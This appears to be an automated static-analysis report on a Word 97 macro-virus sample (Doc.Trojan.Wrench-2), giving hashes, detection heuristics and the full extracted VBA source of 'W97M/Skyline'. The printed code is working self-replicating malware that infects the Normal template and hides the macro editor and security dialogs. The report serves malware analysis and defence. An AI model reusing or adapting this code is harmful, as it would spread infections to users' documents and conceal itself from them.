Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 864871d409859c9b…

MALICIOUS

Office (OLE)

39.5 KB Created: 2000-02-16 02:52:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b8c7436a178038f01637ae3fb856265e SHA-1: c4ad004d03f97b6812ae6ec511822f12ad159f2e SHA-256: 864871d409859c9b86a560c726d3bf3eb9a26c75b9c1dc78a1e3572538ad3be5
188 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro markers and a VBA AutoOpen macro, indicating malicious intent. The 'Skyline' VBA macro attempts to export itself as 'ascii.vxd' to the C:\ drive and import it into the active document's project, suggesting it's a downloader or dropper for a second-stage payload. The ClamAV detection 'Doc.Trojan.Wrench-2' further confirms its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Wrench-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Wrench-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1796 bytes
SHA-256: 1370a225f304fb286b25a697c1ce59c95fb8cc253dcec507b1dcc2b94cf5ff3c
Detection
ClamAV: Doc.Trojan.Wrench-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Skyline"
'Name - W97M/Skyline.B
'Author - [Bench]
Dim DeleteMe As Boolean
Sub AutoOpen()
On Error Resume Next
SetAttr NormalTemplate.FullName, vbNormal
If Application.ShowVisualBasicEditor = True Then _
    Application.ShowVisualBasicEditor = False
Call BenchCore
End Sub
Sub ViewVBCode()
On Error Resume Next
DeleteMe = True
With Assistant.NewBalloon
    .Icon = msoIconAlert
    .Heading = "Skyline MV"
    .Text = "You thought you got rid of me, but I'm Still here, better and stronger!"
    .Animation = msoAnimationGreeting
    .Show
End With
Call BenchCore
'Application.ShowVisualBasicEditor = True
End Sub
Sub ToolsMacro()
On Error Resume Next
DeleteMe = True
'Dialogs(wdDialogToolsMacro).Show
End Sub
Sub ToolsCustomize()
On Error Resume Next
DeleteMe = True
End Sub
Sub ViewSecurity()
On Error Resume Next
MsgBox "Access is Restricted!", vbCritical, "Microsoft Word"
End Sub
Sub BenchCore()
On Error Resume Next
ModulName = "Skyline"
FileName = "ascii.vxd"
If MacroContainer = NormalTemplate Then
Set Carrier = NormalTemplate.VBProject.VBComponents
Set host = ActiveDocument.VBProject.VBComponents
Else
Set Carrier = ActiveDocument.VBProject.VBComponents
Set host = NormalTemplate.VBProject.VBComponents
End If
If host(ModulName).Name <> ModulName Then
Carrier(ModulName).Export "c:\ascii.vxd"
host.Import ("c:\ascii.vxd")
End If
If ActiveDocument.Content.Characters.Count = 0 Then ActiveDocument.Saved = True Else ActiveDocument.Save
End Sub

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